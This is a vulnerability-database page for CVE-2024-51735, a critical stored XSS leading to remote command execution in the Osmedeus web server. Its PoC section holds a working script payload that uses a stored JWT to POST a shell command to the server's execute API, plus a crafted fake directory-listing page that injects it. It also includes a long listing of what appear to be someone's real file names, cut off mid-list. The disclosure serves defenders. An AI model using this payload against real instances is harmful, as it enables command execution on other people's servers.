Loading...
Skip to main content

CVE-2024-51735 — Vulnerability in github.com/j3ssie/osmedeus — CVE...

CRITICAL

Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE

Published November 5, 2024Updated November 6, 2024Source: osv

Summary

### Summary XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server. ### Details When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the `general-template.md` template. ``` <p align="center"> <a href="https://www.osmedeus.org"><img alt="Osmedeus" src="https://raw.githubusercontent.com/osmedeus/assets/main/logo-transparent.png" height="140" /></a> <br /> <br /> <strong>Execute Summary Generated by Osmedeus {{Version}} at <em>{{CurrentDay}}</em></strong> <p align="center"> <a href="https://docs.osmedeus.org/"><img src="https://img.shields.io/badge/Documentation-0078D4?style=for-the-badge&logo=GitBook&logoColor=39ff14&labelColor=black&color=black"></a> <a href="https://docs.osmedeus.org/donation/"><img src="https://img.shields.io/badge/Donation-0078D4?style=for-the-badge&logo=GitHub-Sponsors&logoColor=39ff14&labelColor=black&color=black"></a> <a href="https://twitter.com/OsmedeusEngine"><img src="https://img.shields.io/badge/%40OsmedeusEngine-0078D4?style=for-the-badge&logo=Twitter&logoColor=39ff14&labelColor=black&color=black"></a> </p> </p> ## Scan Information <scanInfo /> *** ## 🚀 Subdomains <content src="{{Output}}/subdomain/final-{{Workspace}}.txt" shorten=true /> *** ## 🌐 HTTP Fingerprint <content src="{{Output}}/fingerprint/beautify-{{Workspace}}-http.txt" /> *** ## 🐞 Vulnerability ### List of Vulnerability Reports - [**{{Workspace}}-report.html**]({{Output}}/vuln/active/{{Workspace}}-report.html) - [**{{Workspace}}-sensitive.html**]({{Output}}/vuln/sensitive/{{Workspace}}-sensitive.html) - [**{{Workspace}}-nuclei.html**]({{Output}}/vuln/nuclei/{{Workspace}}-nuclei.html) ### Jaeles Scan <content src="{{Output}}/vuln/active/jaeles-summary.txt" /> <content src="{{Output}}/vuln/sensitive/jaeles-summary.txt" /> *** ### Nuclei Scan <content src="{{Output}}/vuln/nuclei/{{Workspace}}-nuclei-scan.txt" /> *** ## 🕷 Spider Content <content src="{{Output}}/linkfinding/links-{{Workspace}}.txt"/> *** ## 📃 Content Discovery <content src="{{Output}}/directory/unique-beautify-{{Workspace}}.txt" /> *** ## 🔍 Port Scan <content src="{{Output}}/portscan/open-ports.txt" /> *** ``` The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS The issue starts with processing the <content> tags, and XSS occurs when the extendTag function is called. https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L36 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L95 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L114 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L122-L124 The condition to enter this if branch must meet one of the following cases: * Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible. * len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000). After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions: * It can contain special characters since the spider retrieves results through Katana ⇒ Katana parses content based on <a> tags ⇒ We can create custom payloads by leveraging this mechanism." ``` <! -- Fake Index Content --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href="1">1</a></li> <li><a href="?abc=<script>alert(1)</script>">yxfzssjq_1721182234998.pdf</a></li> </ul> <hr> </body> </html> ``` * Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit * Spider is a module within the general workflow ⇒ a default workflow that is most commonly used ### PoC https://drive.google.com/file/d/1u-YowfzFV1tUqLaZk4s4Y1DykFhJZ8gR/view?usp=sharing Payload RCE `<script>fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});</script>` File index payload ``` <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href="1">1</a></li> <li><a href="675559605-1278d133b090b74129f65f6d108d2c83.pdf">675559605-1278d133b090b74129f65f6d108d2c83.pdf</a></li> <li><a href="959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe">959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe</a></li> <li><a href="%5BMS-DOCX%5D-240416.docx">[MS-DOCX]-240416.docx</a></li> <li><a href="AnyDesk.exe">AnyDesk.exe</a></li> <li><a href="Attachment.zip">Attachment.zip</a></li> <li><a href="barker.tar">barker.tar</a></li> <li><a href="c1awptpm_1721182413858.pdf">c1awptpm_1721182413858.pdf</a></li> <li><a href="cacert.der">cacert.der</a></li> <li><a href="caido-desktop-logs-1729480323.zip">caido-desktop-logs-1729480323.zip</a></li> <li><a href="caido-desktop-v0.41.0-win-x86_64.exe">caido-desktop-v0.41.0-win-x86_64.exe</a></li> <li><a href="caido-desktop-v0.42.0-win-x86_64.exe">caido-desktop-v0.42.0-win-x86_64.exe</a></li> <li><a href="cdd">cdd</a></li> <li><a href="CentOS-7-live-GNOME-x86_64.iso">CentOS-7-live-GNOME-x86_64.iso</a></li> <li><a href="chrome-integrate.zip">chrome-integrate.zip</a></li> <li><a href="ChromeSetup.exe">ChromeSetup.exe</a></li> <li><a href="Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf">Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf</a></li> <li><a href="CxSAST.950.Release.Setup_9.5.0.100.7z">CxSAST.950.Release.Setup_9.5.0.100.7z</a></li> <li><a href="C%C3%81C%20QUY%20%C4%90%E1%BB%8ANH%20%26%20TI%C3%8AU%20CHU%E1%BA%A8N%20C%E1%BA%A6N%20BI%E1%BA%BET%20CHO%20DOANH%20NGHI%E1%BB%86P%20NH%E1%BB%B0A%20XU%E1%BA%A4T%20KH%E1%BA%A8U%20V%C3%80O%20EU.pdf">CÁC QUY ĐỊNH &amp; TIÊU CHUẨN CẦN BIẾT CHO DOANH NGHIỆP NHỰA XUẤT KHẨU VÀO EU.pdf</a></li> <li><a href="Danh%20sach%20may%20chu%20T18.xlsx">Danh sach may chu T18.xlsx</a></li> <li><a href="de4dot-net45.zip">de4dot-net45.zip</a></li> <li><a href="de4dot-netcoreapp3.1.zip">de4dot-netcoreapp3.1.zip</a></li> <li><a href="desktop.ini">desktop.ini</a></li> <li><a href="disk-1.KkwpoIcO.vmdk.part">disk-1.KkwpoIcO.vmdk.part</a></li> <li><a href="disk-1.vmdk">disk-1.vmdk</a></li> <li><a href="dist.zip">dist.zip</a></li> <li><a href="dnSpy-net-win64.zip">dnSpy-net-win64.zip</a></li> <li><a href="doc.9.1.0.rar">doc.9.1.0.rar</a></li> <li><a href="download">download</a></li> <li><a href="Earned_Achievements_2024-09-16.pdf">Earned_Achievements_2024-09-16.pdf</a></li> <li><a href="Eazfuscator.NET%202024.1%20Setup.msi">Eazfuscator.NET 2024.1 Setup.msi</a></li> <li><a href="flare-ida-master.zip">flare-ida-master.zip</a></li> <li><a href="gitlab-recovery-codes.txt">gitlab-recovery-codes.txt</a></li> <li><a href="Hacking%20Rust.pdf">Hacking Rust.pdf</a></li> <li><a href="Huong%20dan%20cai%20dat%20Oracle%20New.docx">Huong dan cai dat Oracle New.docx</a></li> <li><a href="ida83_sdk_tools_v2.zip">ida83_sdk_tools_v2.zip</a></li> <li><a href="ida84_sdk_tools.zip">ida84_sdk_tools.zip</a></li> <li><a href="IDARustDemangler.py">IDARustDemangler.py</a></li> <li><a href="idb2pat.py">idb2pat.py</a></li> <li><a href="incident-notification_26.03.2024-2.pdf">incident-notification_26.03.2024-2.pdf</a></li> <li><a href="ironword.2024.8.3.nupkg">ironword.2024.8.3.nupkg</a></li> <li><a href="KCSC_Recruitment.pdf">KCSC_Recruitment.pdf</a></li> <li><a href="K%E1%BA%BF%20ho%E1%BA%A1ch%20%C4%91%C3%A0o%20t%E1%BA%A1o%2005102023%20%282%29.xlsx">Kế hoạch đào tạo 05102023 (2).xlsx</a></li> <li><a href="linkfinder.json">linkfinder.json</a></li> <li><a href="Margherita%20Report%20Demo_report.pdf">Margherita Report Demo_report.pdf</a></li> <li><a href="Mastering_Malware_Analysis.pdf">Mastering_Malware_Analysis.pdf</a></li> <li><a href="M%E1%BA%ABu-Danh%20sach%20Quan%20ly%20Backup-CS_v1.xlsx">Mẫu-Danh sach Quan ly Backup-CS_v1.xlsx</a></li> <li><a href="node-v20.17.0-x64.msi">node-v20.17.0-x64.msi</a></li> <li><a href="OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip">OpenJDK21U-jdk_x64_windows_hotspot_21.0.4_7.zip</a></li> <li><a href="OSED%20Notes%20Study%20Overview%20by%20Joas%20Antonio.pdf">OSED Notes Study Overview by Joas Antonio.pdf</a></li> <li><a href="PAKD%20paytech.xlsx">PAKD paytech.xlsx</a></li> <li><a href="password">password</a></li> <li><a href="patriotctf.rar">patriotctf.rar</a></li> <li><a href="pestudio-9.59.zip">pestudio-9.59.zip</a></li> <li><a href="photo_2023-01-04_09-04-52.jpg">photo_2023-01-04_09-04-52.jpg</a></li> <li><a href="photo_2023-01-04_09-04-55%20%282%29.jpg">photo_2023-01-04_09-04-55 (2).jpg</a></li> <li><a href="photo_2023-01-04_09-04-55.jpg">photo_2023-01-04_09-04-55.jpg</a></li> <li><a href="photo_2024-09-27_09-47-55.jpg">photo_2024-09-27_09-47-55.jpg</a></li> <li><a href="Ph%E1%BB%A5%20l%E1%BB%A5c%205.xlsx">Phụ lục 5.xlsx</a></li> <li><a href="plugin.zip">plugin.zip</a></li> <li><a href="processhacker-2.39-setup.exe">processhacker-2.39-setup.exe</a></li> <li><a href="publications.pdf">publications.pdf</a></li> <li><a href="pwnfox.json">pwnfox.json</a></li> <li><a href="pykd_ext_2.0.0.25.zip">pykd_ext_2.0.0.25.zip</a></li> <li><a href="rp-win.zip">rp-win.zip</a></li> <li><a href="rs.zip">rs.zip</a></li> <li><a href="rustup-init.exe">rustup-init.exe</a></li> <li><a href="setup.exe">setup.exe</a></li> <li><a href="Single%20Page%20Applications%20with%20Vue.js.rar">Single Page Applications with Vue.js.rar</a></li> <li><a href="Skilled_Person_Registration_Template_2pWPpnl.xlsx">Skilled_Person_Registration_Template_2pWPpnl.xlsx</a></li> <li><a href="snapshot_2024-10-03_12-14.zip">snapshot_2024-10-03_12-14.zip</a></li> <li><a href="spire.doc.12.7.3.nupkg">spire.doc.12.7.3.nupkg</a></li> <li><a href="spire.doc.9.1.0.nupkg">spire.doc.9.1.0.nupkg</a></li> <li><a href="spire.doc.cpp.11.4.5.nupkg">spire.doc.cpp.11.4.5.nupkg</a></li> <li><a href="sticker.webm">sticker.webm</a></li> <li><a href="Telegram%20Desktop/">Telegram Desktop/</a></li> <li><a href="test">test</a></li> <li><a href="test.php">test.php</a></li> <li><a href="test2">test2</a></li> <li><a href="test1.php">test1.php</a></li> <li><a href="test2.php">test2.php</a></li> <li><a href="test3.php">test3.php</a></li> <li><a href="test4.php">test4.php</a></li> <li><a href="test5.php">test5.php</a></li> <li><a href="test6.php">test6.php</a></li> <li><a href="test7.php">test7.php</a></li> <li><a href="test8.php">test8.php</a></li> <li><a href="test9.php">test9.php</a></li> <li><a href="test10.php">test10.php</a></li> <li><a href="test11.php">test11.php</a></li> <li><a href="test12.php">test12.php</a></li> <li><a href="test13.php">test13.php</a></li> <li><a href="test14.php">test14.php</a></li> <li><a href="test15.php">test15.php</a></li> <li><a href="test16.php">test16.php</a></li> <li><a href="test17.php">test17.php</a></li> <li><a href="test18.php">test18.php</a></li> <li><a href="test19.php">test19.php</a></li> <li><a href="test20.php">test20.php</a></li> <li><a href="test21.php">test21.php</a></li> <li><a href="test22.php">test22.php</a></li> <li><a href="test23.php">test23.php</a></li> <li><a href="test24.php">test24.php</a></li> <li><a href="test25.php">test25.php</a></li> <li><a href="test26.php">test26.php</a></li> <li><a href="test27.php">test27.php</a></li> <li><a href="test28.php">test28.php</a></li> <li><a href="test29.php">test29.php</a></li> <li><a href="test30.php">test30.php</a></li> <li><a href="test31.php">test31.php</a></li> <li><a href="test32.php">test32.php</a></li> <li><a href="test33.php">test33.php</a></li> <li><a href="test34.php">test34.php</a></li> <li><a href="test35.php">test35.php</a></li> <li><a href="test36.php">test36.php</a></li> <li><a href="test37.php">test37.php</a></li> <li><a href="test38.php">test38.php</a></li> <li><a href="test39.php">test39.php</a></li> <li><a href="test40.php">test40.php</a></li> <li><a href="test41.php">test41.php</a></li> <li><a href="test42.php">test42.php</a></li> <li><a href="test43.php">test43.php</a></li> <li><a href="test44.php">test44.php</a></li> <li><a href="test45.php">test45.php</a></li> <li><a href="test46.php">test46.php</a></li> <li><a href="test47.php">test47.php</a></li> <li><a href="test48.php">test48.php</a></li> <li><a href="test49.php">test49.php</a></li> <li><a href="test50.php">test50.php</a></li> <li><a href="test51.php">test51.php</a></li> <li><a href="test52.php">test52.php</a></li> <li><a href="test53.php">test53.php</a></li> <li><a href="test54.php">test54.php</a></li> <li><a href="test55.php">test55.php</a></li> <li><a href="test56.php">test56.php</a></li> <li><a href="test57.php">test57.php</a></li> <li><a href="test58.php">test58.php</a></li> <li><a href="test59.php">test59.php</a></li> <li><a href="test60.php">test60.php</a></li> <li><a href="test61.php">test61.php</a></li> <li><a href="test62.php">test62.php</a></li> <li><a href="test63.php">test63.php</a></li> <li><a href="test64.php">test64.php</a></li> <li><a href="test65.php">test65.php</a></li> <li><a href="test66.php">test66.php</a></li> <li><a href="test67.php">test67.php</a></li> <li><a href="test68.php">test68.php</a></li> <li><a href="test69.php">test69.php</a></li> <li><a href="test70.php">test70.php</a></li> <li><a href="test71.php">test71.php</a></li> <li><a href="test72.php">test72.php</a></li> <li><a href="test73.php">test73.php</a></li> <li><a href="test74.php">test74.php</a></li> <li><a href="test75.php">test75.php</a></li> <li><a href="test76.php">test76.php</a></li> <li><a href="test77.php">test77.php</a></li> <li><a href="test78.php">test78.php</a></li> <li><a href="test79.php">test79.php</a></li> <li><a href="test80.php">test80.php</a></li> <li><a href="test81.php">test81.php</a></li> <li><a href="test82.php">test82.php</a></li> <li><a href="test83.php">test83.php</a></li> <li><a href="test84.php">test84.php</a></li> <li><a href="test85.php">test85.php</a></li> <li><a href="test86.php">test86.php</a></li> <li><a href="test87.php">test87.php</a></li> <li><a href="test88.php">test88.php</a></li> <li><a href="test89.php">test89.php</a></li> <li><a href="test90.php">test90.php</a></li> <li><a href="test91.php">test91.php</a></li> <li><a href="test92.php">test92.php</a></li> <li><a href="test93.php">test93.php</a></li> <li><a href="test94.php">test94.php</a></li> <li><a href="test95.php">test95.php</a></li> <li><a href="test96.php">test96.php</a></li> <li><a href="test97.php">test97.php</a></li> <li><a href="test98.php">test98.php</a></li> <li><a href="test99.php">test99.php</a></li> <li><a href="test100.php">test100.php</a></li> <li><a href="test101.php">test101.php</a></li> <li><a href="test102.php">test102.php</a></li> <li><a href="test103.php">test103.php</a></li> <li><a href="test104.php">test104.php</a></li> <li><a href="test105.php">test105.php</a></li> <li><a href="test106.php">test106.php</a></li> <li><a href="test107.php">test107.php</a></li> <li><a href="test108.php">test108.php</a></li> <li><a href="test109.php">test109.php</a></li> <li><a href="test110.php">test110.php</a></li> <li><a href="test111.php">test111.php</a></li> <li><a href="test112.php">test112.php</a></li> <li><a href="test113.php">test113.php</a></li> <li><a href="test114.php">test114.php</a></li> <li><a href="test115.php">test115.php</a></li> <li><a href="test116.php">test116.php</a></li> <li><a href="test117.php">test117.php</a></li> <li><a href="test118.php">test118.php</a></li> <li><a href="test119.php">test119.php</a></li> <li><a href="test120.php">test120.php</a></li> <li><a href="test121.php">test121.php</a></li> <li><a href="test122.php">test122.php</a></li> <li><a href="test123.php">test123.php</a></li> <li><a href="test124.php">test124.php</a></li> <li><a href="test125.php">test125.php</a></li> <li><a href="test126.php">test126.php</a></li> <li><a href="test127.php">test127.php</a></li> <li><a href="test128.php">test128.php</a></li> <li><a href="test129.php">test129.php</a></li> <li><a href="test130.php">test130.php</a></li> <li><a href="test131.php">test131.php</a></li> <li><a href="test132.php">test132.php</a></li> <li><a href="test133.php">test133.php</a></li> <li><a href="test134.php">test134.php</a></li> <li><a href="test135.php">test135.php</a></li> <li><a href="test136.php">test136.php</a></li> <li><a href="test137.php">test137.php</a></li> <li><a href="test138.php">test138.php</a></li> <li><a href="test139.php">test139.php</a></li> <li><a href="test140.php">test140.php</a></li> <li><a href="test141.php">test141.php</a></li> <li><a href="test142.php">test142.php</a></li> <li><a href="test143.php">test143.php</a></li> <li><a href="test144.php">test144.php</a></li> <li><a href="test145.php">test145.php</a></li> <li><a href="test146.php">test146.php</a></li> <li><a href="test147.php">test147.php</a></li> <li><a href="test148.php">test148.php</a></li> <li><a href="test149.php">test149.php</a></li> <li><a href="test150.php">test150.php</a></li> <li><a href="test151.php">test151.php</a></li> <li><a href="test152.php">test152.php</a></li> <li><a href="test153.php">test153.php</a></li> <li><a href="test154.php">test154.php</a></li> <li><a href="test155.php">test155.php</a></li> <li><a href="test156.php">test156.php</a></li> <li><a href="test157.php">test157.php</a></li> <li><a href="test158.php">test158.php</a></li> <li><a href="test159.php">test159.php</a></li> <li><a href="test160.php">test160.php</a></li> <li><a href="test161.php">test161.php</a></li> <li><a href="test162.php">test162.php</a></li> <li><a href="test163.php">test163.php</a></li> <li><a href="test164.php">test164.php</a></li> <li><a href="test165.php">test165.php</a></li> <li><a href="test166.php">test166.php</a></li> <li><a href="test167.php">test167.php</a></li> <li><a href="test168.php">test168.php</a></li> <li><a href="test169.php">test169.php</a></li> <li><a href="test170.php">test170.php</a></li> <li><a href="test171.php">test171.php</a></li> <li><a href="test172.php">test172.php</a></li> <li><a href="test173.php">test173.php</a></li> <li><a href="test174.php">test174.php</a></li> <li><a href="test175.php">test175.php</a></li> <li><a href="test176.php">test176.php</a></li> <li><a href="test177.php">test177.php</a></li> <li><a href="test178.php">test178.php</a></li> <li><a href="test179.php">test179.php</a></li> <li><a href="test180.php">test180.php</a></li> <li><a href="test181.php">test181.php</a></li> <li><a href="test182.php">test182.php</a></li> <li><a href="test183.php">test183.php</a></li> <li><a href="test184.php">test184.php</a></li> <li><a href="test185.php">test185.php</a></li> <li><a href="test186.php">test186.php</a></li> <li><a href="test187.php">test187.php</a></li> <li><a href="test188.php">test188.php</a></li> <li><a href="test189.php">test189.php</a></li> <li><a href="test190.php">test190.php</a></li> <li><a href="test191.php">test191.php</a></li> <li><a href="test192.php">test192.php</a></li> <li><a href="test193.php">test193.php</a></li> <li><a href="test194.php">test194.php</a></li> <li><a href="test195.php">test195.php</a></li> <li><a href="test196.php">test196.php</a></li> <li><a href="test197.php">test197.php</a></li> <li><a href="test198.php">test198.php</a></li> <li><a href="test199.php">test199.php</a></li> <li><a href="test200.php">test200.php</a></li> <li>

Advisory Timeline

  • First published November 5, 2024 (706 days ago).
  • Last revised November 6, 2024 — 1 day after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/j3ssie/osmedeus
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-78
    OS Command InjectionMITRE
  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N

Frequently Asked Questions

What is CVE-2024-51735?
Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2024-51735?
CVE-2024-51735 affects github.com/j3ssie/osmedeus. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-51735 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-wvv7-wm5v-w2gv
GO-2024-3254

Related CVEs

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies